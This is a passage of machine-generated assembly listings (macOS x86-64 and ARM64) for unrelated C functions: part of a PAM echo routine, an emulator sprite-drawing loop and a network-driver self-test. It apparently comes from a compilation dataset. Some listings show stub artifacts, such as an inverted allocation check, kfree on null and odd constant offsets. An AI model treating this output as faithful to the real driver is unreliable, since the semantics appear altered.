b.eq LBB0_25 ; %bb.22: ; in Loop: Header=BB0_12 Depth=2 cmp w8, #116 b.ne LBB0_24 ; %bb.23: ; in Loop: Header=BB0_12 Depth=2 Lloh22: adrp x9, _PAM_TTY@GOTPAGE Lloh23: ldr x9, [x9, _PAM_TTY@GOTPAGEOFF] b LBB0_26 LBB0_24: ; in Loop: Header=BB0_12 Depth=2 mov w12, #1 ; =0x1 mov x11, x25 b LBB0_10 LBB0_25: ; in Loop: Header=BB0_12 Depth=2 Lloh24: adrp x9, _PAM_USER@GOTPAGE Lloh25: ldr x9, [x9, _PAM_USER@GOTPAGEOFF] LBB0_26: ; in Loop: Header=BB0_12 Depth=2 ldr w1, [x9] cmn w1, #1 b.eq LBB0_11 ; %bb.27: ; in Loop: Header=BB0_12 Depth=2 sub x2, x29, #96 mov x0, x19 bl _pam_get_item ldr w8, [x28] cmp w0, w8 b.ne LBB0_40 ; %bb.28: ; in Loop: Header=BB0_12 Depth=2 stur x26, [x29, #-96] cmp x25, x24 b.hs LBB0_11 ; %bb.29: ; in Loop: Header=BB0_12 Depth=2 add x8, x25, #1 mov w9, #40 ; =0x28 strb w9, [x20, x25] cmp x8, x24 b.hs LBB0_35 ; %bb.30: ; in Loop: Header=BB0_12 Depth=2 add x9, x25, #2 mov w10, #110 ; =0x6e strb w10, [x20, x8] cmp x9, x24 b.hs LBB0_36 ; %bb.31: ; in Loop: Header=BB0_12 Depth=2 add x8, x25, #3 mov w10, #117 ; =0x75 strb w10, [x20, x9] cmp x8, x24 b.hs LBB0_35 ; %bb.32: ; in Loop: Header=BB0_12 Depth=2 add x9, x25, #4 mov w10, #108 ; =0x6c strb w10, [x20, x8] cmp x9, x24 b.hs LBB0_36 ; %bb.33: ; in Loop: Header=BB0_12 Depth=2 add x11, x25, #5 strb w10, [x20, x9] cmp x11, x24 b.hs LBB0_37 ; %bb.34: ; in Loop: Header=BB0_12 Depth=2 mov w8, #41 ; =0x29 mov w12, #6 ; =0x6 b LBB0_10 LBB0_35: ; in Loop: Header=BB0_12 Depth=2 mov x25, x8 b LBB0_11 LBB0_36: ; in Loop: Header=BB0_12 Depth=2 mov x25, x9 b LBB0_11 LBB0_37: ; in Loop: Header=BB0_12 Depth=2 mov x25, x11 b LBB0_11 LBB0_38: mov x25, #0 ; =0x0 LBB0_39: strb wzr, [x20, x25] Lloh26: adrp x1, l_.str.1@PAGE Lloh27: add x1, x1, l_.str.1@PAGEOFF mov x0, x19 mov x2, x20 bl _pam_info LBB0_40: ldur x8, [x29, #-88] Lloh28: adrp x9, ___stack_chk_guard@GOTPAGE Lloh29: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh30: ldr x9, [x9] cmp x9, x8 b.ne LBB0_42 ; %bb.41: sub sp, x29, #80 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret LBB0_42: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpAdd Lloh16, Lloh17 .loh AdrpLdrGot Lloh14, Lloh15 .loh AdrpLdrGot Lloh18, Lloh19 .loh AdrpLdrGot Lloh20, Lloh21 .loh AdrpLdrGot Lloh22, Lloh23 .loh AdrpLdrGot Lloh24, Lloh25 .loh AdrpAdd Lloh26, Lloh27 .loh AdrpLdrGotLdr Lloh28, Lloh29, Lloh30 .loh AdrpLdrGot Lloh6, Lloh7 .cfi_endproc ; -- End function .comm _PAM_MAX_MSG_SIZE,4,2 ; @PAM_MAX_MSG_SIZE .comm _PAM_SILENT,4,2 ; @PAM_SILENT .comm _PAM_SUCCESS,4,2 ; @PAM_SUCCESS .comm _PAM_RHOST,4,2 ; @PAM_RHOST .comm _PAM_SERVICE,4,2 ; @PAM_SERVICE .comm _PAM_TTY,4,2 ; @PAM_TTY .comm _PAM_RUSER,4,2 ; @PAM_RUSER .comm _PAM_USER,4,2 ; @PAM_USER .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "(null)" l_.str.1: ; @.str.1 .asciz "%s" .no_dead_strip __pam_echo .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function DrawAllSpritesFull _DrawAllSpritesFull: ## @DrawAllSpritesFull .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $664, %rsp ## imm = 0x298 .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, -692(%rbp) ## 4-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) movq _START_ROW@GOTPCREL(%rip), %rax movl (%rax), %eax shll $3, %eax movq _END_ROW@GOTPCREL(%rip), %rcx movl (%rcx), %edx shll $3, %edx movq _Pico@GOTPCREL(%rip), %rsi movq (%rsi), %rcx movq 8(%rsi), %rsi movl 48(%rsi), %r8d andl $1, %r8d xorl $127, %r8d andl 20(%rsi), %r8d shll $8, %r8d xorl %esi, %esi movl $81, %r10d xorl %r9d, %r9d xorl %ebx, %ebx jmp LBB0_1 LBB0_17: ## in Loop: Header=BB0_1 Depth=1 incl %r14d movl %r14d, %eax .p2align 4, 0x90 LBB0_24: ## in Loop: Header=BB0_1 Depth=1 shrl $16, %ebx andl $127, %ebx decl %r10d je LBB0_9 LBB0_1: ## =>This Inner Loop Header: Depth=1 leal (%r8,%rbx,4), %r12d andl $32764, %r12d ## imm = 0x7FFC movl (%rcx,%r12), %ebx movl %ebx, %r11d andl $511, %r11d ## imm = 0x1FF movl %ebx, %r14d shrl $21, %r14d andl $24, %r14d addl %r11d, %r14d addl $-120, %r14d movl %r11d, %r15d addl $-128, %r15d cmpl %eax, %r14d jg LBB0_3 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 cmpl %edx, %r15d jg LBB0_24 LBB0_3: ## in Loop: Header=BB0_1 Depth=1 addq %rcx, %r12 movl 4(%r12), %r11d movl %r11d, %r13d shrl $16, %r13d andl $511, %r13d ## imm = 0x1FF je LBB0_4 ## %bb.22: ## in Loop: Header=BB0_1 Depth=1 shrl $15, %r11d andl $1, %r11d cmpl %edi, %r11d sete %r11b cmpl $97, %r13d setae %r14b andb %r11b, %r14b addl $-120, %r13d cmpl -692(%rbp), %r13d ## 4-byte Folded Reload setl %r11b andb %r14b, %r11b cmpb $1, %r11b jne LBB0_24 ## %bb.23: ## in Loop: Header=BB0_1 Depth=1 movslq %r9d, %r11 incl %r9d movq %r12, -688(%rbp,%r11,8) jmp LBB0_24 LBB0_4: ## in Loop: Header=BB0_1 Depth=1 testl %esi, %esi je LBB0_15 ## %bb.5: ## in Loop: Header=BB0_1 Depth=1 movl %esi, %r12d sarl $16, %r12d leal 1(%r12), %r11d movzwl %si, %r13d cmpl %r15d, %r11d jl LBB0_14 ## %bb.6: ## in Loop: Header=BB0_1 Depth=1 cmpl %r14d, %r12d jg LBB0_14 ## %bb.7: ## in Loop: Header=BB0_1 Depth=1 cmpl %r15d, %r13d jge LBB0_14 ## %bb.8: ## in Loop: Header=BB0_1 Depth=1 movl %r13d, %r15d LBB0_15: ## in Loop: Header=BB0_1 Depth=1 cmpl %eax, %r15d jle LBB0_16 jmp LBB0_18 LBB0_14: ## in Loop: Header=BB0_1 Depth=1 cmpl %r14d, %r12d cmovlel %r14d, %r12d leal -1(%r13), %r11d cmpl %r14d, %r11d cmovgl %r14d, %r12d cmpl %r15d, %r13d cmovgel %r12d, %r14d cmpl %eax, %r15d jg LBB0_18 LBB0_16: ## in Loop: Header=BB0_1 Depth=1 cmpl %eax, %r14d jge LBB0_17 LBB0_18: ## in Loop: Header=BB0_1 Depth=1 cmpl %edx, %r15d jg LBB0_21 ## %bb.19: ## in Loop: Header=BB0_1 Depth=1 cmpl %edx, %r14d jl LBB0_21 ## %bb.20: ## in Loop: Header=BB0_1 Depth=1 decl %r15d movl %r15d, %edx jmp LBB0_24 LBB0_21: ## in Loop: Header=BB0_1 Depth=1 shll $16, %r14d orl %r15d, %r14d movl %r14d, %esi jmp LBB0_24 LBB0_9: testl %r9d, %r9d jle LBB0_12 ## %bb.10: movl %r9d, %ebx incq %rbx .p2align 4, 0x90 LBB0_11: ## =>This Inner Loop Header: Depth=1 movq -704(%rbp,%rbx,8), %rdi callq _DrawSpriteFull decq %rbx cmpq $1, %rbx ja LBB0_11 LBB0_12: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_25 ## %bb.13: addq $664, %rsp ## imm = 0x298 popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_25: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _Pico,16,3 ## @Pico .comm _START_ROW,4,2 ## @START_ROW .comm _END_ROW,4,2 ## @END_ROW .no_dead_strip _DrawAllSpritesFull .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function DrawAllSpritesFull _DrawAllSpritesFull: ; @DrawAllSpritesFull .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 sub sp, sp, #656 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w27, -40 .cfi_offset w28, -48 mov w9, #0 ; =0x0 mov w8, #0 ; =0x0 mov w16, #0 ; =0x0 Lloh0: adrp x10, ___stack_chk_guard@GOTPAGE Lloh1: ldr x10, [x10, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x10, [x10] stur x10, [x29, #-40] Lloh3: adrp x10, _START_ROW@GOTPAGE Lloh4: ldr x10, [x10, _START_ROW@GOTPAGEOFF] Lloh5: ldr w10, [x10] lsl w10, w10, #3 Lloh6: adrp x11, _END_ROW@GOTPAGE Lloh7: ldr x11, [x11, _END_ROW@GOTPAGEOFF] Lloh8: ldr w11, [x11] lsl w11, w11, #3 Lloh9: adrp x12, _Pico@GOTPAGE Lloh10: ldr x12, [x12, _Pico@GOTPAGEOFF] ldp x12, x13, [x12] ldr w14, [x13, #20] ldr w13, [x13, #48] and w13, w13, #0x1 eor w13, w13, #0x7f and w13, w13, w14 lsl w13, w13, #8 mov w14, #81 ; =0x51 add x15, sp, #8 b LBB0_3 LBB0_1: ; in Loop: Header=BB0_3 Depth=1 asr w2, w9, #16 add w4, w2, #1 and w5, w9, #0xffff sub w6, w5, #1 cmp w2, w3 csel w7, w2, w3, gt cmp w6, w3 ccmp w5, w17, #8, le csel w6, w3, w7, lt cmp w4, w17 ccmp w2, w3, #0, ge ccmp w5, w17, #0, le csel w2, w5, w17, lt csel w4, w3, w6, lt cmp w9, #0 csel w17, w17, w2, eq csel w2, w3, w4, eq orr w3, w17, w2, lsl #16 sub w4, w17, #1 cmp w17, w11 ccmp w2, w11, #8, le csel w4, w11, w4, lt csel w3, w3, w9, lt cmp w17, w10 ccmp w2, w10, #8, le csinc w10, w10, w2, lt csel w11, w4, w11, lt csel w9, w3, w9, lt LBB0_2: ; in Loop: Header=BB0_3 Depth=1 ubfx w16, w16, #16, #7 subs w14, w14, #1 b.eq LBB0_8 LBB0_3: ; =>This Inner Loop Header: Depth=1 add w16, w13, w16, lsl #2 and x16, x16, #0x7ffc add x2, x12, x16 ldr w16, [x2] and w17, w16, #0x1ff sub w17, w17, #128 lsr w3, w16, #21 and w3, w3, #0x18 add w3, w3, w17 add w3, w3, #8 cmp w3, w10 ccmp w17, w11, #4, le b.gt LBB0_2 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 ldr w5, [x2, #4] ubfx w4, w5, #16, #9 cbz w4, LBB0_1 ; %bb.5: ; in Loop: Header=BB0_3 Depth=1 ubfx w17, w5, #15, #1 cmp w17, w0 b.ne LBB0_2 ; %bb.6: ; in Loop: Header=BB0_3 Depth=1 sub w17, w4, #120 cmp w4, #97 ccmp w17, w1, #0, hs b.ge LBB0_2 ; %bb.7: ; in Loop: Header=BB0_3 Depth=1 str x2, [x15, w8, sxtw #3] add w8, w8, #1 b LBB0_2 LBB0_8: cmp w8, #1 b.lt LBB0_11 ; %bb.9: mov w9, w8 add x19, x9, #1 add x9, sp, #8 add x8, x9, w8, uxtw #3 sub x20, x8, #8 LBB0_10: ; =>This Inner Loop Header: Depth=1 ldr x0, [x20], #-8 bl _DrawSpriteFull sub x19, x19, #1 cmp x19, #1 b.hi LBB0_10 LBB0_11: ldur x8, [x29, #-40] Lloh11: adrp x9, ___stack_chk_guard@GOTPAGE Lloh12: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh13: ldr x9, [x9] cmp x9, x8 b.ne LBB0_13 ; %bb.12: add sp, sp, #656 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #48 ; 16-byte Folded Reload ret LBB0_13: bl ___stack_chk_fail .loh AdrpLdrGot Lloh9, Lloh10 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .cfi_endproc ; -- End function .comm _Pico,16,3 ; @Pico .comm _START_ROW,4,2 ; @START_ROW .comm _END_ROW,4,2 ; @END_ROW .no_dead_strip _DrawAllSpritesFull .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function efx_mcdi_bist _efx_mcdi_bist: ## @efx_mcdi_bist .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %rbx movl %esi, %r15d movq %rdi, %r12 movq _GFP_KERNEL@GOTPCREL(%rip), %rax movl (%rax), %esi movl $256, %edi ## imm = 0x100 callq _kzalloc testq %rax, %rax je LBB0_2 ## %bb.1: movq _ENOMEM@GOTPCREL(%rip), %rax xorl %r14d, %r14d subl (%rax), %r14d jmp LBB0_15 LBB0_2: movq _MC_CMD_START_BIST_OUT_LEN@GOTPCREL(%rip), %rax xorl %edi, %edi cmpq $0, (%rax) setne %dil callq _BUILD_BUG_ON movq _START_BIST_IN_TYPE@GOTPCREL(%rip), %rax movl (%rax), %esi xorl %edi, %edi movl %r15d, %edx callq _MCDI_SET_DWORD movq _MC_CMD_START_BIST@GOTPCREL(%rip), %rax movl (%rax), %esi movq _MC_CMD_START_BIST_IN_LEN@GOTPCREL(%rip), %rax movl (%rax), %ecx movq $0, (%rsp) movq %r12, %rdi xorl %edx, %edx xorl %r8d, %r8d xorl %r9d, %r9d callq _efx_mcdi_rpc testl %eax, %eax jne LBB0_3 ## %bb.4: movq _MC_CMD_POLL_BIST_IN_LEN@GOTPCREL(%rip), %rax xorl %edi, %edi cmpq $0, (%rax) setne %dil callq _BUILD_BUG_ON movq _MC_CMD_POLL_BIST@GOTPCREL(%rip), %rax movl (%rax), %esi leaq -48(%rbp), %rax movq %rax, (%rsp) movq %r12, %rdi xorl %edx, %edx xorl %ecx, %ecx xorl %r8d, %r8d movl $256, %r9d ## imm = 0x100 callq _efx_mcdi_rpc testl %eax, %eax je LBB0_6 LBB0_3: movl %eax, %r14d LBB0_14: xorl %edi, %edi callq _kfree LBB0_15: movl %r14d, %eax addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_6: movq _POLL_BIST_OUT_RESULT@GOTPCREL(%rip), %rax movl (%rax), %esi xorl %r14d, %r14d xorl %edi, %edi callq _MCDI_DWORD movq _MC_CMD_POLL_BIST_RUNNING@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_8 ## %bb.7: movl $100, %edi callq _msleep movq _ETIMEDOUT@GOTPCREL(%rip), %rax subl (%rax), %r14d jmp LBB0_14 LBB0_8: movq _MC_CMD_POLL_BIST_PASSED@GOTPCREL(%rip), %r13 xorl %ecx, %ecx cmpq (%r13), %rax sete %cl leal -1(,%rcx,2), %ecx movl %ecx, (%rbx) movq (%r12), %rcx movq _PHY_TYPE_SFT9001B@GOTPCREL(%rip), %rdx movl $1, %r14d cmpq (%rdx), %rcx jne LBB0_14 ## %bb.9: movq _MC_CMD_PHY_BIST_CABLE_SHORT@GOTPCREL(%rip), %rcx cmpl %r15d, (%rcx) je LBB0_11 ## %bb.10: movq _MC_CMD_PHY_BIST_CABLE_LONG@GOTPCREL(%rip), %rcx cmpl %r15d, (%rcx) jne LBB0_14 LBB0_11: movq _POLL_BIST_OUT_SFT9001_CABLE_LENGTH_A@GOTPCREL(%rip), %rcx movl (%rcx), %esi xorl %edi, %edi movq %rax, %r15 callq _MCDI_PTR movl $9, %r14d cmpq (%r13), %r15 jne LBB0_14 ## %bb.12: movq -48(%rbp), %rcx movq _MC_CMD_POLL_BIST_OUT_SFT9001_LEN@GOTPCREL(%rip), %rdx cmpq (%rdx), %rcx jb LBB0_14 ## %bb.13: movl (%rax), %edi movq _EFX_DWORD_0@GOTPCREL(%rip), %r15 movl (%r15), %esi movq %rax, %r12 callq _EFX_DWORD_FIELD movl %eax, 4(%rbx) movl 4(%r12), %edi movl (%r15), %esi callq _EFX_DWORD_FIELD movl %eax, (%rbx) movl 8(%r12), %edi movl (%r15), %esi callq _EFX_DWORD_FIELD movabsq $17179869180, %rcx ## imm = 0x3FFFFFFFC movl %eax, (%rbx,%rcx) movl 12(%r12), %edi movl (%r15), %esi callq _EFX_DWORD_FIELD movabsq $17179869176, %rcx ## imm = 0x3FFFFFFF8 movl %eax, (%rbx,%rcx) movl 16(%r12), %edi movl (%r15), %esi callq _EFX_DWORD_FIELD movabsq $17179869172, %rcx ## imm = 0x3FFFFFFF4 movl %eax, (%rbx,%rcx) movl 20(%r12), %edi movl (%r15), %esi callq _EFX_DWORD_FIELD movabsq $17179869168, %rcx ## imm = 0x3FFFFFFF0 movl %eax, (%rbx,%rcx) movl 24(%r12), %edi movl (%r15), %esi callq _EFX_DWORD_FIELD movabsq $17179869164, %rcx ## imm = 0x3FFFFFFEC movl %eax, (%rbx,%rcx) movl 28(%r12), %edi movl (%r15), %esi callq _EFX_DWORD_FIELD movabsq $17179869160, %rcx ## imm = 0x3FFFFFFE8 movl %eax, (%rbx,%rcx) jmp LBB0_14 .cfi_endproc ## -- End function .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .comm _ENOMEM,4,2 ## @ENOMEM .comm _MC_CMD_START_BIST_OUT_LEN,8,3 ## @MC_CMD_START_BIST_OUT_LEN .comm _START_BIST_IN_TYPE,4,2 ## @START_BIST_IN_TYPE .comm _MC_CMD_START_BIST,4,2 ## @MC_CMD_START_BIST .comm _MC_CMD_START_BIST_IN_LEN,4,2 ## @MC_CMD_START_BIST_IN_LEN .comm _MC_CMD_POLL_BIST_IN_LEN,8,3 ## @MC_CMD_POLL_BIST_IN_LEN .comm _MC_CMD_POLL_BIST,4,2 ## @MC_CMD_POLL_BIST .comm _POLL_BIST_OUT_RESULT,4,2 ## @POLL_BIST_OUT_RESULT .comm _MC_CMD_POLL_BIST_RUNNING,8,3 ## @MC_CMD_POLL_BIST_RUNNING .comm _ETIMEDOUT,4,2 ## @ETIMEDOUT .comm _MC_CMD_POLL_BIST_PASSED,8,3 ## @MC_CMD_POLL_BIST_PASSED .comm _PHY_TYPE_SFT9001B,8,3 ## @PHY_TYPE_SFT9001B .comm _MC_CMD_PHY_BIST_CABLE_SHORT,4,2 ## @MC_CMD_PHY_BIST_CABLE_SHORT .comm _MC_CMD_PHY_BIST_CABLE_LONG,4,2 ## @MC_CMD_PHY_BIST_CABLE_LONG .comm _POLL_BIST_OUT_SFT9001_CABLE_LENGTH_A,4,2 ## @POLL_BIST_OUT_SFT9001_CABLE_LENGTH_A .comm _MC_CMD_POLL_BIST_OUT_SFT9001_LEN,8,3 ## @MC_CMD_POLL_BIST_OUT_SFT9001_LEN .comm _EFX_DWORD_0,4,2 ## @EFX_DWORD_0 .no_dead_strip _efx_mcdi_bist .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function efx_mcdi_bist _efx_mcdi_bist: ; @efx_mcdi_bist .cfi_startproc ; %bb.0: sub sp, sp, #80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x2 mov x20, x1 mov x21, x0 Lloh0: adrp x8, _GFP_KERNEL@GOTPAGE Lloh1: ldr x8, [x8, _GFP_KERNEL@GOTPAGEOFF] Lloh2: ldr w1, [x8] mov w0, #256 ; =0x100 bl _kzalloc cbz x0, LBB0_2 ; %bb.1: Lloh3: adrp x8, _ENOMEM@GOTPAGE Lloh4: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] Lloh5: ldr w8, [x8] neg w0, w8 b LBB0_14 LBB0_2: Lloh6: adrp x8, _MC_CMD_START_BIST_OUT_LEN@GOTPAGE Lloh7: ldr x8, [x8, _MC_CMD_START_BIST_OUT_LEN@GOTPAGEOFF] Lloh8: ldr x8, [x8] cmp x8, #0 cset w0, ne bl _BUILD_BUG_ON Lloh9: adrp x8, _START_BIST_IN_TYPE@GOTPAGE Lloh10: ldr x8, [x8, _START_BIST_IN_TYPE@GOTPAGEOFF] Lloh11: ldr w1, [x8] mov x0, #0 ; =0x0 mov x2, x20 bl _MCDI_SET_DWORD Lloh12: adrp x8, _MC_CMD_START_BIST@GOTPAGE Lloh13: ldr x8, [x8, _MC_CMD_START_BIST@GOTPAGEOFF] Lloh14: ldr w1, [x8] Lloh15: adrp x8, _MC_CMD_START_BIST_IN_LEN@GOTPAGE Lloh16: ldr x8, [x8, _MC_CMD_START_BIST_IN_LEN@GOTPAGEOFF] Lloh17: ldr w3, [x8] mov x0, x21 mov x2, #0 ; =0x0 mov x4, #0 ; =0x0 mov w5, #0 ; =0x0 mov x6, #0 ; =0x0 bl _efx_mcdi_rpc cbnz w0, LBB0_13 ; %bb.3: Lloh18: adrp x8, _MC_CMD_POLL_BIST_IN_LEN@GOTPAGE Lloh19: ldr x8, [x8, _MC_CMD_POLL_BIST_IN_LEN@GOTPAGEOFF] Lloh20: ldr x8, [x8] cmp x8, #0 cset w0, ne bl _BUILD_BUG_ON Lloh21: adrp x8, _MC_CMD_POLL_BIST@GOTPAGE Lloh22: ldr x8, [x8, _MC_CMD_POLL_BIST@GOTPAGEOFF] Lloh23: ldr w1, [x8] add x6, sp, #8 mov x0, x21 mov x2, #0 ; =0x0 mov w3, #0 ; =0x0 mov x4, #0 ; =0x0 mov w5, #256 ; =0x100 bl _efx_mcdi_rpc cbnz w0, LBB0_13 ; %bb.4: Lloh24: adrp x8, _POLL_BIST_OUT_RESULT@GOTPAGE Lloh25: ldr x8, [x8, _POLL_BIST_OUT_RESULT@GOTPAGEOFF] Lloh26: ldr w1, [x8] mov x0, #0 ; =0x0 bl _MCDI_DWORD Lloh27: adrp x8, _MC_CMD_POLL_BIST_RUNNING@GOTPAGE Lloh28: ldr x8, [x8, _MC_CMD_POLL_BIST_RUNNING@GOTPAGEOFF] Lloh29: ldr x8, [x8] cmp x0, x8 b.ne LBB0_6 ; %bb.5: mov w0, #100 ; =0x64 bl _msleep Lloh30: adrp x8, _ETIMEDOUT@GOTPAGE Lloh31: ldr x8, [x8, _ETIMEDOUT@GOTPAGEOFF] Lloh32: ldr w8, [x8] neg w0, w8 b LBB0_13 LBB0_6: Lloh33: adrp x22, _MC_CMD_POLL_BIST_PASSED@GOTPAGE Lloh34: ldr x22, [x22, _MC_CMD_POLL_BIST_PASSED@GOTPAGEOFF] ldr x8, [x22] mov x23, x0 cmp x0, x8 mov w0, #1 ; =0x1 cneg w8, w0, ne str w8, [x19] ldr x8, [x21] Lloh35: adrp x9, _PHY_TYPE_SFT9001B@GOTPAGE Lloh36: ldr x9, [x9, _PHY_TYPE_SFT9001B@GOTPAGEOFF] Lloh37: ldr x9, [x9] cmp x8, x9 b.ne LBB0_13 ; %bb.7: Lloh38: adrp x8, _MC_CMD_PHY_BIST_CABLE_SHORT@GOTPAGE Lloh39: ldr x8, [x8, _MC_CMD_PHY_BIST_CABLE_SHORT@GOTPAGEOFF] Lloh40: ldr w8, [x8] cmp w8, w20 b.eq LBB0_9 ; %bb.8: Lloh41: adrp x8, _MC_CMD_PHY_BIST_CABLE_LONG@GOTPAGE Lloh42: ldr x8, [x8, _MC_CMD_PHY_BIST_CABLE_LONG@GOTPAGEOFF] Lloh43: ldr w8, [x8] cmp w8, w20 b.ne LBB0_13 LBB0_9: Lloh44: adrp x8, _POLL_BIST_OUT_SFT9001_CABLE_LENGTH_A@GOTPAGE Lloh45: ldr x8, [x8, _POLL_BIST_OUT_SFT9001_CABLE_LENGTH_A@GOTPAGEOFF] Lloh46: ldr w1, [x8] mov x0, #0 ; =0x0 bl _MCDI_PTR ldr x8, [x22] cmp x23, x8 b.ne LBB0_12 ; %bb.10: ldr x8, [sp, #8] Lloh47: adrp x9, _MC_CMD_POLL_BIST_OUT_SFT9001_LEN@GOTPAGE Lloh48: ldr x9, [x9, _MC_CMD_POLL_BIST_OUT_SFT9001_LEN@GOTPAGEOFF] Lloh49: ldr x9, [x9] cmp x8, x9 b.lo LBB0_12 ; %bb.11: mov x8, #17179803648 ; =0x3ffff0000 movk x8, #65512 add x20, x19, x8 ldr w8, [x0] Lloh50: adrp x21, _EFX_DWORD_0@GOTPAGE Lloh51: ldr x21, [x21, _EFX_DWORD_0@GOTPAGEOFF] ldr w1, [x21] mov x22, x0 mov x0, x8 bl _EFX_DWORD_FIELD str w0, [x19, #4] ldr w0, [x22, #4] ldr w1, [x21] bl _EFX_DWORD_FIELD str w0, [x19] ldr w0, [x22, #8] ldr w1, [x21] bl _EFX_DWORD_FIELD str w0, [x20, #20] ldr w0, [x22, #12] ldr w1, [x21] bl _EFX_DWORD_FIELD str w0, [x20, #16] ldr w0, [x22, #16] ldr w1, [x21] bl _EFX_DWORD_FIELD str w0, [x20, #12] ldr w0, [x22, #20] ldr w1, [x21] bl _EFX_DWORD_FIELD str w0, [x20, #8] ldr w0, [x22, #24] ldr w1, [x21] bl _EFX_DWORD_FIELD str w0, [x20, #4] ldr w0, [x22, #28] ldr w1, [x21] bl _EFX_DWORD_FIELD str w0, [x20] LBB0_12: mov w0, #9 ; =0x9 LBB0_13: mov x19, x0 mov x0, #0 ; =0x0 bl _kfree mov x0, x19 LBB0_14: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload add sp, sp, #80 ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17 .loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14 .loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23 .loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20 .loh AdrpLdrGotLdr Lloh27, Lloh28, Lloh29 .loh AdrpLdrGotLdr Lloh24, Lloh25, Lloh26 .loh AdrpLdrGotLdr Lloh30, Lloh31, Lloh32 .loh AdrpLdrGotLdr Lloh35, Lloh36, Lloh37 .loh AdrpLdrGot Lloh33, Lloh34 .loh AdrpLdrGotLdr Lloh38, Lloh39, Lloh40 .loh AdrpLdrGotLdr Lloh41, Lloh42, Lloh43 .loh AdrpLdrGotLdr Lloh44, Lloh45, Lloh46 .loh AdrpLdrGotLdr Lloh47, Lloh48, Lloh49 .loh AdrpLdrGot Lloh50, Lloh51 .cfi_endproc ; -- End function .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .comm _ENOMEM,4,2 ; @ENOMEM .comm _MC_CMD_START_BIST_OUT_LEN,8,3 ; @MC_CMD_START_BIST_OUT_LEN .comm _START_BIST_IN_TYPE,4,2 ; 